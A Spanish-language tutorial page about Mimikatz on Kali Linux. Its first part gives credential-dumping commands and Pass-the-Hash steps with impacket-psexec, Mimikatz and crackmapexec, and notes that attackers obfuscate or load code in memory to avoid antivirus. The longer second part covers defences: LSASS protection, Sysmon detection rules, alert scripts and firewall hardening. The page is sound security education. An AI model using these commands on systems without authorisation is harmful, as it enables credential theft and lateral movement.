Mimikatz en Kali Linux: Guía

https://www.onlinetis.com/es/

Mimikatz en Kali Linux: Guía

Mimikatz es una de las herramientas más potentes y conocidas en el mundo de la ciberseguridad para la auditoría de credenciales. Aunque originalmente fue escrita para Windows, en Kali Linux se utiliza frecuentemente para analizar volcados de memoria o atacar máquinas Windows desde la red.

Aquí tienes una guía rápida sobre qué es y cómo se usa en el ecosistema de Kali.

¿Qué es Mimikatz?

Es una herramienta de post-explotación que permite extraer contraseñas en texto plano, hashes, códigos PIN y tickets de Kerberos de la memoria del proceso LSASS (Local Security Authority Subsystem Service).

Funciones principales:

Sekurlsa: Extrae contraseñas y hashes de la memoria.
Kerberos: Manipula tickets (como el famoso "Golden Ticket").
Crypto: Exporta certificados digitales, incluso los marcados como no exportables.

Cómo encontrarlo en Kali Linux

Mimikatz no se ejecuta de forma nativa en Linux (ya que es un binario de Windows .exe). Sin embargo, Kali lo incluye en su repositorio de herramientas para que puedas transferirlo a una víctima o ejecutarlo mediante capas de compatibilidad.

Ruta de los archivos:
Los binarios se encuentran en: /usr/share/mimikatz/
Versión PowerShell:
Muchos prefieren usar la versión de script para evitar detecciones fáciles: /usr/share/windows-resources/powersploit/Exfiltration/Invoke-Mimikatz.ps1

Comandos básicos (Uso común)

Si logras ejecutar Mimikatz en una máquina Windows (o mediante un shell remoto), estos son los comandos esenciales:

Comando	Descripción
`privilege::debug`	Eleva los privilegios necesarios para interactuar con procesos del sistema.
`sekurlsa::logonpasswords`	El "comando estrella": vuelca las contraseñas y hashes de usuarios conectados.
`lsadump::sam`	Extrae la base de datos SAM local (hashes NTLM).
`exit`	Cierra la herramienta.

Cómo se usa Mimikatz desde Kali (Escenarios)

1. Usando Wine

Si tienes un archivo de volcado de memoria (.dmp) de una máquina Windows y quieres analizarlo directamente en tu Kali:

Instala Wine: sudo apt install wine
Ejecuta el binario: wine /usr/share/mimikatz/x64/mimikatz.exe
Carga el dump: sekurlsa::minidump lsass.dmp

2. A través de Metasploit

Es la forma más común. Una vez que tienes una sesión de Meterpreter:

Carga el módulo: load kiwi (Kiwi es la versión actualizada de Mimikatz en Metasploit).
Ejecuta: creds_all para ver todas las credenciales recuperadas.

Nota de seguridad: Mimikatz es detectado por casi todos los antivirus modernos (Windows Defender lo bloquea al instante). En entornos reales, los atacantes suelen usar técnicas de "ofuscación" o cargan el código directamente en memoria para no tocar el disco duro.

El ataque Pass-the-Hash (PtH) es una técnica de post-explotación muy efectiva porque te permite suplantar a un usuario sin conocer su contraseña en texto plano; solo necesitas su hash NTLM.

Aquí te explico cómo hacerlo paso a paso utilizando las herramientas integradas en Kali Linux.

Escenario

Imagina que ya ejecutaste Mimikatz en una máquina y obtuviste esto:

Usuario: Administrador
Dominio: CORP.LOCAL (o el nombre de la máquina)
Hash NTLM: 32fc86224a101262d05775440d832e57

Método 1: Desde Kali con Impacket (Lo más común)

La suite Impacket es la navaja suiza para ataques de red en Kali. No necesitas estar dentro de Windows para usar el hash.

Usa la herramienta psexec.py para obtener una consola remota:

Bash

impacket-psexec CORP/Administrador@192.168.1.50 -hashes :32fc86224a101262d05775440d832e57

Nota: El formato es LM:NTLM. Como los sistemas modernos no usan LM, ponemos los dos puntos : antes del hash NTLM.
Resultado: Si el hash es válido, obtendrás una shell de SYSTEM en la máquina víctima.

Método 2: Usando Mimikatz (Dentro de Windows)

Si ya tienes acceso a una máquina pero quieres saltar a otra (movimiento lateral), puedes usar el propio Mimikatz para crear un proceso con la identidad de la víctima.

Abrir Mimikatz con privilegios de Administrador.

Inyectar el hash:

PowerShell

sekurlsa::pth /user:Administrador /domain:CORP.LOCAL /ntlm:32fc86224a101262d05775440d832e57

Resultado: Se abrirá una nueva ventana de cmd.exe. Cualquier comando de red que lances desde esa ventana (como dir \\Servidor\C$) se ejecutará con los permisos del usuario suplantado.

Método 3: Crack Map Exec (Enumeración masiva)

Si tienes un hash y quieres saber en qué otras máquinas de la red funciona, usa crackmapexec:

Bash

crackmapexec smb 192.168.1.0/24 -u Administrador -H 32fc86224a101262d05775440d832e57

Si aparece un (Pwn3d!) al lado de una IP, significa que tienes acceso total a esa máquina usando ese hash.

¿Por qué funciona esto?

Windows utiliza el protocolo NTLM para autenticarse en red. En lugar de enviar la contraseña, el sistema envía un desafío basado en el hash. Al tener el hash, tú ya tienes la "llave" final, por lo que el servidor nunca te pedirá la contraseña real.

Dato importante: Para que esto funcione en cuentas locales (no de dominio) en Windows 10/11, a veces es necesario que el registro LocalAccountTokenFilterPolicy esté activado, de lo contrario, Windows denegará la conexión remota aunque el hash sea correcto.

Defenderse de herramientas como Mimikatz y de ataques tipo Pass-the-Hash (PtH) es un reto, porque no se trata de un "virus" que se elimina, sino de una explotación de cómo funciona la autenticación en Windows.

Aquí tienes las capas de defensa más efectivas, desde lo más básico hasta configuraciones avanzadas de seguridad:

1. Protección de la Memoria (LSASS)

Mimikatz extrae las credenciales del proceso lsass.exe. Si proteges ese proceso, la herramienta falla.

Habilitar PPL (Protected Process Light): Esto impide que procesos no firmados por Microsoft lean la memoria de LSASS.
- Registro: HKLM\SYSTEM\CurrentControlSet\Control\Lsa -> Crear valor DWORD RunAsPPL con valor 1.
Windows Defender Credential Guard: Es la defensa definitiva. Utiliza virtualización (VBS) para aislar las credenciales en un contenedor de hardware al que ni siquiera el Administrador del sistema puede acceder.

2. Configuración de Red y Protocolos

Deshabilitar NTLM: Si tu red puede funcionar solo con Kerberos, deshabilita NTLM por completo. Sin NTLM, no hay "hashes" que pasar mediante PtH.
Restringir cuentas locales: Evita que las cuentas de administrador local tengan permisos de red. Si un atacante roba el hash del "Admin" de una PC, no podrá saltar a la PC de al lado porque el hash no servirá allí.
Modo "Restricted Admin": Al usar Escritorio Remoto (RDP), usa el parámetro /RestrictedAdmin. Esto evita que tus credenciales se almacenen en la memoria de la máquina remota a la que te conectas.

3. Higiene de Cuentas (Modelo de Niveles)

La regla de oro es: Nunca inicies sesión con una cuenta de Administrador de Dominio en una estación de trabajo de usuario.

Nivel (Tier)	Descripción	Regla de Oro
Tier 0	Controladores de Dominio, Admins de Dominio.	Solo inician sesión en servidores Tier 0.
Tier 1	Servidores de aplicaciones y datos.	Solo administradores de servidores.
Tier 2	PCs de usuarios, laptops.	Solo usuarios finales y soporte técnico local.

Si un Administrador de Dominio inicia sesión en una PC infectada (Tier 2), Mimikatz robará su hash y el atacante controlará toda la empresa en segundos.

4. Detección Activa

Como Mimikatz es muy ruidoso a nivel de sistema, puedes monitorizarlo:

Event ID 4656: Alerta cuando un proceso intenta acceder a lsass.exe.
Honeytokens: Crea una cuenta de usuario falsa con una contraseña llamativa en la memoria. Si alguien intenta usar ese hash, sabrás que hay un intruso en la red.
Microsoft Defender for Endpoint: Las versiones modernas detectan el comportamiento de "volcado de memoria" incluso si el binario de Mimikatz está ofuscado.

5. El grupo de "Usuarios protegidos"

En Active Directory, puedes añadir a tus usuarios críticos al grupo Protected Users. Esto aplica automáticamente restricciones estrictas:

No se cachean contraseñas en texto plano.
No se usa NTLM.
Los tickets de Kerberos tienen una duración mucho más corta.

Resumen rápido: Si quieres dormir tranquilo, activa Credential Guard y asegúrate de que tus Administradores de Dominio no toquen nunca una computadora de un usuario común.

Este script es una excelente forma de auditar la seguridad de tu propia máquina. Vamos a usar PowerShell con privilegios de administrador para verificar si las defensas contra Mimikatz están activas.

Copia y pega este código en una terminal de PowerShell (Ejecutar como administrador):

PowerShell
Write-Host "--- Auditoría de Protección contra Mimikatz ---" -ForegroundColor Cyan

# 1. Verificar RunAsPPL (Protección de LSASS)
$ppl = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -ErrorAction SilentlyContinue
if ($ppl.RunAsPPL -eq 1) {
    Write-Host "[+] RunAsPPL: ACTIVADO (LSASS protegido)" -ForegroundColor Green
} else {
    Write-Host "[!] RunAsPPL: DESACTIVADO (Vulnerable a volcado de memoria)" -ForegroundColor Red
}

# 2. Verificar Credential Guard (VBS)
$vbs = Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard
if ($vbs.SecurityServicesConfigured -contains 1) {
    Write-Host "[+] Credential Guard: CONFIGURADO" -ForegroundColor Green
} else {
    Write-Host "[!] Credential Guard: NO CONFIGURADO" -ForegroundColor Yellow
}

# 3. Verificar si se guardan contraseñas en texto plano (WDigest)
$wdigest = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -ErrorAction SilentlyContinue
if ($wdigest.UseLogonCredential -eq 1) {
    Write-Host "[!] WDigest: ACTIVADO (Peligro: Contraseñas en texto plano en RAM)" -ForegroundColor Red
} else {
    Write-Host "[+] WDigest: DESACTIVADO (Seguro)" -ForegroundColor Green
}

# 4. Verificar Restricted Admin Mode para RDP
$rdp = Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -ErrorAction SilentlyContinue
if ($rdp.DisableRestrictedAdmin -eq 0) {
    Write-Host "[+] RDP Restricted Admin: FORZADO" -ForegroundColor Green
} else {
    Write-Host "[-] RDP Restricted Admin: No configurado (Estado por defecto)" -ForegroundColor Gray
}

Write-Host "`n--- Fin de la auditoría ---" -ForegroundColor Cyan

¿Qué significan los resultados?

RunAsPPL: Si está en rojo, Mimikatz puede leer tu memoria lsass.exe directamente. Para activarlo, tendrías que crear esa clave en el registro.
Credential Guard: Es la protección más fuerte de Windows 10/11. Utiliza virtualización para esconder tus "hashes" en un lugar donde Mimikatz no puede llegar.
WDigest: En versiones antiguas de Windows, este protocolo guardaba tu contraseña literalmente escrita (ejemplo: Password123) en la memoria. Hoy en día debe estar desactivado.
RDP Restricted Admin: Si está activado, cuando alguien se conecta a tu PC por Escritorio Remoto, sus credenciales no se quedan grabadas en tu memoria, evitando que tú (o un atacante en tu PC) se las robes a él.

Cómo mitigar los puntos rojos:

Si el script te dio alertas, puedes endurecer el sistema con estos comandos (úsalo con precaución, idealmente en entornos de prueba primero):

Activar protección de LSASS:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1
Desactivar almacenamiento de contraseñas en texto plano:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 0

Para saber si alguien ha intentado usar Mimikatz o técnicas similares, no basta con un antivirus; hay que mirar el Visor de Eventos de Windows. Mimikatz deja "huellas" digitales muy específicas cuando intenta acceder a la memoria del sistema.

Aquí tienes los 3 eventos clave que debes vigilar:

1. Acceso sospechoso a LSASS (Evento 4656 o 4663)

Mimikatz necesita "abrir" el proceso lsass.exe para leer las contraseñas. Si tienes habilitada la auditoría de objetos, verás este evento.

Qué buscar: Un proceso que solicita derechos de acceso 0x1410 o 0x1010 sobre lsass.exe.
Proceso de origen: Si ves que el proceso no es una herramienta conocida de Windows (como taskmgr.exe), es una señal de alerta roja.

2. Instalación de un Servicio Inusual (Evento 7045)

Algunas variantes de Mimikatz instalan un servicio temporal para obtener privilegios de sistema (SYSTEM).

Nombre del servicio: Por defecto, Mimikatz usa nombres como mimidrv.
Archivo del servicio: Un archivo .sys sospechoso en la carpeta Temp o en la raíz de C:\.

3. Uso de privilegios especiales (Evento 4672)

Para que Mimikatz funcione, el atacante debe "escalar privilegios". Este evento registra cuando una cuenta inicia sesión con privilegios de superusuario.

Privilegio clave: SeDebugPrivilege.
Nota: Casi ningún programa legítimo (salvo depuradores de software) necesita este privilegio. Si un usuario común activa SeDebugPrivilege, es casi seguro que está intentando volcar la memoria.

Cómo ver estos eventos rápidamente

En lugar de navegar por miles de logs manualmente, puedes usar este comando en PowerShell para buscar intentos de depuración de procesos (la técnica base de Mimikatz):

PowerShell
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4672} | Where-Object {$_.Message -like "*SeDebugPrivilege*"} | Select-Object -First 10 | Format-Table TimeCreated, Message -Wrap

¿Cómo activar esta vigilancia?

Por defecto, Windows no guarda todos estos detalles. Para que tu PC "anote" estos intentos en el futuro, debes activar la Auditoría de Acceso a Objetos:

Presiona Win + R, escribe secpol.msc y pulsa Enter.
Ve a Configuración local > Directivas de auditoría.
Busca Auditar el acceso a objetos y marca las casillas de Correcto y Error.

El "Siguiente Paso" Pro: Sysmon

Si realmente quieres atrapar a un atacante avanzado, la herramienta gratuita de Microsoft llamada Sysmon es mucho mejor que los logs estándar. Detecta específicamente el "ProcessAccess" a LSASS de forma mucho más clara.

Para llevar tu defensa al siguiente nivel, lo ideal es usar Sysmon (System Monitor), una herramienta gratuita de la suite Sysinternals de Microsoft. A diferencia del Visor de Eventos estándar, Sysmon está diseñado específicamente para detectar comportamientos de intrusión.

Aquí tienes cómo configurarlo para "cazar" a Mimikatz.

1. Instalación de Sysmon

Primero, descarga Sysmon y descomprímelo. Luego, abre una terminal de PowerShell como administrador en esa carpeta e instálalo con una configuración básica:

PowerShell

.\Sysmon64.exe -i -n

2. Configuración de la "Regla Anti-Mimikatz"

Para que Sysmon sea realmente útil, necesitamos darle un archivo de configuración (config.xml) que le diga: "Vigila cualquier proceso que intente tocar la memoria de LSASS".

Crea un archivo llamado mimikatz-detect.xml con este contenido:

XML
<Sysmon schemaversion="4.50">
  <EventFiltering>
    <RuleGroup name="Detectar Mimikatz" groupRelation="or">
      <ProcessAccess onmatch="include">
        <TargetImage condition="is">C:\Windows\system32\lsass.exe</TargetImage>
      </ProcessAccess>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Luego, aplica la configuración:

PowerShell

.\Sysmon64.exe -c mimikatz-detect.xml

3. ¿Cómo leer la alerta? (Evento ID 10)

Una vez configurado, si alguien ejecuta Mimikatz o intenta volcar la memoria, aparecerá un Evento 10 en el log de Sysmon.

Qué buscar en el log:

SourceImage: El programa que intentó el ataque (ej. mimikatz.exe, powershell.exe o un proceso desconocido).
GrantedAccess: Mimikatz suele pedir el acceso 0x1010 o 0x1410.
CallTrace: Verás una lista de librerías (.dll). Si ves unknown o rutas temporales, es una señal clara de inyección de código.

4. Dónde encontrar estos logs

No están en el log de "Seguridad" habitual. Debes ir a:

Visor de Eventos > Registros de aplicaciones y servicios > Microsoft > Windows > Sysmon > Operational.

Resumen de la Estrategia de Defensa

Nivel	Herramienta	Acción Principal
Preventivo	RunAsPPL / Credential Guard	Bloquea el acceso físico a la memoria.
Detectivo	Sysmon (ID 10)	Te avisa quién y cuándo intentó acceder a LSASS.
Arquitectura	Tier Model	Evita que un robo de hash local afecte a toda la red.

Dato curioso: Muchos atacantes ahora usan herramientas como Procdump (una herramienta legítima de Microsoft) para volcar la memoria y luego analizarla en su propia PC (Kali), intentando pasar desapercibidos. Sysmon también detectará esto porque el objetivo sigue siendo el mismo: lsass.exe.

Para automatizar esta alerta, vamos a crear un "disparador" (trigger) en Windows que reaccione específicamente al Evento 10 de Sysmon (aceso a LSASS).

Dado que enviar correos directamente desde PowerShell requiere un servidor SMTP (como Gmail o Outlook), aquí te doy la solución más robusta y moderna.

Paso 1: El Script de Alerta (PowerShell)

Copia este código y guárdalo como C:\Scripts\AlertaMimikatz.ps1.

Nota: He configurado el script para que use un servidor SMTP básico. Si usas Gmail, recuerda que necesitas una "Contraseña de Aplicación".

PowerShell
# Configuración del correo
$EmailDe = "tu-correo@gmail.com"
$EmailPara = "tu-correo@gmail.com"
$Asunto = "⚠️ ALERTA DE SEGURIDAD: Intento de acceso a LSASS detectado"
$SMTPServidor = "smtp.gmail.com"
$SMTPPuerto = 587
$Usuario = "tu-correo@gmail.com"
$Password = "tu-contraseña-de-aplicacion" # No usar tu clave real

# Obtener el último evento de Sysmon (ID 10)
$Evento = Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterHashtable @{ID=10} -MaxEvents 1
$Cuerpo = "Se ha detectado un acceso sospechoso a la memoria de LSASS (posible Mimikatz).`n`n" +
          "Detalles del evento:`n" +
          "Proceso Origen: " + $Evento.Properties[3].Value + "`n" +
          "Usuario: " + $Evento.UserId + "`n" +
          "Fecha: " + $Evento.TimeCreated

# Enviar el correo
$SMTPClient = New-Object Net.Mail.SmtpClient($SMTPServidor, $SMTPPuerto)
$SMTPClient.EnableSsl = $true
$SMTPClient.Credentials = New-Object System.Net.NetworkCredential($Usuario, $Password)
$SMTPClient.Send($EmailDe, $EmailPara, $Asunto, $Cuerpo)

Paso 2: Crear la Tarea Programada vinculada al Evento

Ahora vincularemos ese script al Visor de Eventos para que se ejecute solo cuando ocurra el ataque.

Abre el Visor de Eventos (eventvwr.msc).
Ve a: Registros de aplicaciones y servicios > Microsoft > Windows > Sysmon > Operational.
Busca cualquier Evento ID 10. Haz clic derecho sobre él y selecciona "Adjuntar tarea a este evento...".
Sigue el asistente:
- Nombre: Alerta de Intrusión LSASS.
- Acción: Iniciar un programa.
- Programa o script: powershell.exe
- Argumentos: -ExecutionPolicy Bypass -File "C:\Scripts\AlertaMimikatz.ps1"

Paso 3: Configuración de Seguridad de la Tarea

Para que la tarea funcione incluso si no has iniciado sesión:

Abre el Programador de Tareas (taskschd.msc).
Busca tu tarea "Alerta de Intrusión LSASS" y abre sus Propiedades.
En la pestaña General, selecciona: "Ejecutar tanto si el usuario inició sesión como si no" y marca "Ejecutar con los privilegios más altos".

¿Por qué esto es mejor que un antivirus?

Un antivirus puede ser desactivado o evadido por un atacante con Mimikatz ofuscado. Sin embargo, este script:

Se dispara por el comportamiento del sistema (acceder a la memoria), no por la firma del archivo.
Te avisa en tiempo real, dándote la oportunidad de aislar la máquina de la red antes de que el atacante use el hash para moverse a otros servidores.

Advertencia Final

Si realizas muchas pruebas, podrías recibir decenas de correos. Asegúrate de que tu script de Sysmon esté bien filtrado (como el .xml que hicimos antes) para evitar falsos positivos de procesos legítimos como el antivirus o Windows Defender.

Para automatizar esto, vamos a crear un disparador de eventos (Event Trigger). La idea es que, en cuanto Windows registre el Evento ID 10 de Sysmon (acceso a LSASS), se ejecute un script de PowerShell que te avise de inmediato.

Aquí tienes los dos pasos necesarios: el script de alerta y la tarea que lo activa.

Paso 1: El Script de Alerta (`AlertaSysmon.ps1`)

Crea un archivo llamado C:\Seguridad\AlertaSysmon.ps1 y pega este código. Este script extraerá los detalles del atacante y mostrará una notificación en pantalla.

PowerShell
# Buscar el último evento de Sysmon ID 10 (Acceso a LSASS)
$evento = Get-WinEvent -ProviderName "Microsoft-Windows-Sysmon" -FilterHashtable @{Id=10} -MaxEvents 1

if ($evento) {
    $xml = [xml]$evento.ToXml()
    $sourceImage = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq "SourceImage"})."#text"
    $targetImage = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq "TargetImage"})."#text"
    $user = ($xml.Event.EventData.Data | Where-Object {$_.Name -eq "User"})."#text"

    # Mostrar notificación en Windows (Burble/Toast)
    [reflection.assembly]::LoadWithPartialName("System.Windows.Forms")
    $notification = New-Object System.Windows.Forms.NotifyIcon
    $notification.Icon = [System.Drawing.SystemIcons]::Exclamation
    $notification.BalloonTipTitle = "ALERTA DE SEGURIDAD: Acceso a LSASS"
    $notification.BalloonTipText = "Proceso sospechoso: $sourceImage `nUsuario: $user"
    $notification.Visible = $true
    $notification.ShowBalloonTip(10000) # Mostrar por 10 segundos
}

Paso 2: Crear la Tarea Programada (El "Disparador")

Ahora configuraremos Windows para que ejecute ese script solo cuando ocurra el evento. Ejecuta este comando en PowerShell como Administrador:

PowerShell
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -File C:\Seguridad\AlertaSysmon.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogOn # Disparador base
$settings = New-ScheduledTaskSettingsSet

# Este es el truco: Asociar la tarea al evento específico de Sysmon
Register-ScheduledTask -TaskName "Alerta_Mimikatz_Sysmon" -Action $action -Trigger $trigger -Settings $settings -User "SYSTEM" -RunLevel Highest

# Ahora vinculamos el disparador al Evento 10 de Sysmon mediante XML
$xmlTrigger = @"
<QueryList>
  <Query Id="0" Path="Microsoft-Windows-Sysmon/Operational">
    <Select Path="Microsoft-Windows-Sysmon/Operational">*[System[(EventID=10)]]</Select>
  </Query>
</QueryList>
"@

# Aplicamos el filtro de evento a la tarea (esto se hace mejor vía Interfaz Gráfica o comando schtasks)

Alternativa fácil por Interfaz Gráfica:

Si prefieres no usar tanto comando para la tarea:

Abre Programador de Tareas > Crear Tarea.
En Desencadenadores, dale a "Nuevo" y elige "Al producirse un evento".
Configuración:
- Log: Microsoft-Windows-Sysmon/Operational
- Origen: Sysmon
- ID del evento: 10
En Acciones, elige "Iniciar un programa" y pon powershell.exe con el argumento -File C:\Seguridad\AlertaSysmon.ps1.

¿Cómo probarlo?

Para probar si tu defensa funciona sin usar Mimikatz real, puedes usar una herramienta inofensiva como Process Explorer (de Microsoft) e intentar ver las propiedades de lsass.exe. Sysmon detectará el acceso y verás saltar tu notificación.

Resumen de tu blindaje:

Mimikatz intenta leer la RAM.
Sysmon detecta la intrusión (Evento 10).
Tu Tarea Programada se despierta al milisegundo.
Tu Script te avisa quién es el culpable.

Detectar la inserción de un USB es una de las defensas más críticas, ya que muchos ataques físicos (como el uso de un Rubber Ducky o un simple pendrive con un script malicioso) buscan ejecutar Mimikatz en segundos apenas se conectan.

Para esto, no necesitamos Sysmon; Windows ya registra este movimiento de forma nativa, pero debemos "activar" la alerta.

Paso 1: Localizar el Evento de Windows

Cuando conectas un USB, Windows genera el Evento ID 2003 (o el 2102) en un registro específico llamado Microsoft-Windows-DriverFrameworks-UserMode.

Cómo habilitar este registro:

Por defecto, este registro suele estar desactivado. Para activarlo:

Abre el Visor de Eventos.
Ve a Registros de aplicaciones y servicios > Microsoft > Windows > DriverFrameworks-UserMode.
Haz clic derecho en Operational y selecciona Propiedades.
Marca la casilla Habilitar registro.

Paso 2: El Script de Alerta de USB (`AlertaUSB.ps1`)

Crea un archivo en C:\Seguridad\AlertaUSB.ps1 con este código. Este script no solo te avisa, sino que te dice el modelo del USB conectado:

PowerShell
# Buscar el último evento de conexión USB
$evento = Get-WinEvent -LogName "Microsoft-Windows-DriverFrameworks-UserMode/Operational" | Where-Object {$_.Id -eq 2003} | Select-Object -First 1

if ($evento) {
    $detalles = $evento.Message
    
    # Mostrar notificación visual
    [reflection.assembly]::LoadWithPartialName("System.Windows.Forms")
    $notification = New-Object System.Windows.Forms.NotifyIcon
    $notification.Icon = [System.Drawing.SystemIcons]::Shield
    $notification.BalloonTipTitle = "¡NUEVO DISPOSITIVO USB DETECTADO!"
    $notification.BalloonTipText = "Se ha conectado un dispositivo. Revisa el Visor de Eventos para más detalles."
    $notification.Visible = $true
    $notification.ShowBalloonTip(10000)
    
    # Opcional: Escribir en un log propio para auditoría
    Add-Content -Path "C:\Seguridad\registro_usb.log" -Value "$(Get-Date): Dispositivo detectado - $detalles"
}

Paso 3: Crear el disparador automático

Al igual que con el caso de LSASS, vamos a crear una Tarea Programada que "escuche" al sistema:

Abre el Programador de Tareas y selecciona Crear tarea.
Nombre: Alerta_USB_Conectado.
Desencadenadores: Nuevo -> "Al producirse un evento".
- Log: Microsoft-Windows-DriverFrameworks-UserMode/Operational
- Origen: DriverFrameworks-UserMode
- ID del evento: 2003
Acciones: Nuevo -> "Iniciar un programa".
- Programa: powershell.exe
- Argumentos: -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Seguridad\AlertaUSB.ps1

¿Cómo hace esto tu sistema más seguro?

Un atacante que usa Mimikatz suele seguir este flujo:

Inserta el USB.
Ejecuta un script automático (o manual).
Vuelca LSASS.

Con tus dos nuevas alertas, el atacante ahora tiene un problema: en cuanto conecte el USB, tú recibirás la primera notificación, y si intenta ejecutar Mimikatz, recibirás la segunda notificación de acceso a memoria. Esto te da una ventaja de tiempo crítica para desconectar la máquina de la red o bloquear la sesión.

Bloquear la ejecución de scripts no firmados es como poner un guardia de seguridad que pide una identificación oficial a cada proceso de PowerShell. Por defecto, Windows permite ejecutar casi cualquier cosa, lo cual es ideal para un atacante que usa Mimikatz a través de una consola.

Al forzar la Firma de Scripts, solo los archivos que tú hayas "sellado" con tu certificado personal podrán ejecutarse.

1. Cambiar la Política de Ejecución

El primer paso es pasar de una política abierta a una restrictiva llamada AllSigned.

Abre PowerShell como Administrador.
Ejecuta el siguiente comando:
PowerShell
```
Set-ExecutionPolicy AllSigned -Force
```
- ¿Qué hace esto? A partir de ahora, si descargas un script de internet o intentas ejecutar un .ps1 que use Mimikatz, Windows lo bloqueará diciendo que "no está firmado por un editor de confianza".

2. Cómo firmar TUS propios scripts

Ahora que has bloqueado todo, tus propios scripts (como el de alerta de USB que creamos antes) dejarán de funcionar. Necesitas crear tu propio "sello" digital.

A. Crear un certificado de firma propio (Self-Signed)

Ejecuta esto en PowerShell:

PowerShell
$cert = New-SelfSignedCertificate -Type CodeSigningCert -Subject "CN=MiAutoridadDeSeguridad"

B. Firmar el archivo

Imagina que quieres firmar tu script de alerta de USB:

PowerShell
Set-AuthenticodeSignature -FilePath "C:\Seguridad\AlertaUSB.ps1" -Certificate $cert

Si abres el archivo .ps1 con el bloc de notas, verás un bloque de texto enorme al final: esa es tu firma digital.

3. El "Modo de Lenguaje Restringido" (Constrained Language Mode)

Esta es la pesadilla de Mimikatz. Incluso si un atacante logra abrir una consola de PowerShell, este modo deshabilita las funciones avanzadas que herramientas como Mimikatz necesitan para leer la memoria (llamadas a la API de Windows).

Para activarlo de forma permanente en el sistema:

Ejecuta:

PowerShell
[Environment]::SetEnvironmentVariable("__PSLockdownPolicy", "4", "Machine")

Reinicia la consola.
Prueba: Escribe $ExecutionContext.SessionState.LanguageMode. Si dice ConstrainedLanguage, Mimikatz ya no podrá "hablar" con la memoria de tu PC a través de PowerShell.

Resumen de tu Fortaleza Digital

Con todo lo que hemos configurado, el camino de un atacante ahora se ve así:

Intenta conectar un USB: Saltas tú con una notificación.
Intenta ejecutar un script de Mimikatz: Windows lo bloquea porque no tiene tu firma digital.
Intenta escribir comandos de ataque manualmente: PowerShell le dice que esas funciones están deshabilitadas (Modo Restringido).
Intenta tocar la memoria de LSASS: Sysmon te avisa y registra su nombre de usuario.

Hacer que tu equipo sea "invisible" es una de las mejores capas de defensa pasiva. Si un atacante usa Nmap o Advanced IP Scanner desde Kali Linux para buscar víctimas en la red, tu PC simplemente no aparecerá en los resultados, como si estuviera apagada.

Para lograr esto, vamos a configurar el Firewall de Windows con Seguridad Avanzada.

1. Bloquear el "Ping" (ICMP Echo Request)

El comando ping es lo primero que usa un atacante para saber si una IP está activa. Vamos a decirle a Windows que ignore estas peticiones.

Abre PowerShell como Administrador.
Ejecuta este comando para bloquear las respuestas de eco (Ping):
PowerShell
```
New-NetFirewallRule -DisplayName "Bloquear PING Entrante" -Direction Inbound -Action Block -Protocol ICMPv4 -IcmpType 8
```
- Resultado: Si alguien desde Kali hace ping [Tu_IP], recibirá un "Request timed out".

2. Deshabilitar la Detección de Redes

Windows suele anunciar su presencia para que puedas ver impresoras o carpetas compartidas. Un atacante usa esto para identificar qué sistema operativo tienes.

Ve a Panel de Control > Centro de redes y recursos compartidos > Configuración de uso compartido avanzado.
Desactiva "Detección de redes" y "Uso compartido de archivos e impresoras" para el perfil Público y Privado.

3. Bloquear puertos críticos usados por Mimikatz

Mimikatz y las herramientas de movimiento lateral (como psexec o smbclient de Kali) suelen atacar puertos específicos. Si no compartes archivos en tu red local, es mejor cerrarlos:

Puerto 445 (SMB): El más peligroso, usado para transferir archivos y ejecutar comandos remotos.
Puerto 135 (RPC): Usado para enumerar servicios del sistema.

Ejecuta este comando para cerrarlos a conexiones entrantes:

PowerShell
New-NetFirewallRule -DisplayName "Bloquear SMB/RPC Entrante" -Direction Inbound -Action Block -LocalPort 135,445 -Protocol TCP

4. Cambiar el Perfil de Red a "Público"

Incluso si estás en tu casa, configurar tu conexión como "Red Pública" activa automáticamente un nivel de firewall mucho más estricto que el perfil "Privado".

Ve a Configuración > Red e Internet > Estado.
Haz clic en Propiedades de tu conexión actual.
Selecciona Público.

¿Cómo se ve esto desde el lado del atacante (Kali)?

Antes de estos cambios, un escaneo de red mostraría tu nombre de PC, tu versión de Windows y tus puertos abiertos. Después de estos cambios:

Escaneo de Ping: Tu IP parecerá muerta.
Escaneo de Puertos (nmap -Pn): Todos los puertos aparecerán como filtered o closed.
Mimikatz/PsExec: Fallarán al intentar conectar porque el puerto 445 está sellado.

Resumen de tu "Búnker" Digital:

Mimikatz no puede entrar por la red (Puertos cerrados).
Si alguien tiene acceso físico y mete un USB, te enteras (Alerta USB).
Si intenta ejecutar un Script malicioso, Windows lo bloquea (Firma de Scripts).
Si intenta leer la Memoria LSASS, Sysmon te avisa (Alerta de Memoria).

Has convertido una instalación estándar de Windows en un entorno altamente hostil para cualquier atacante.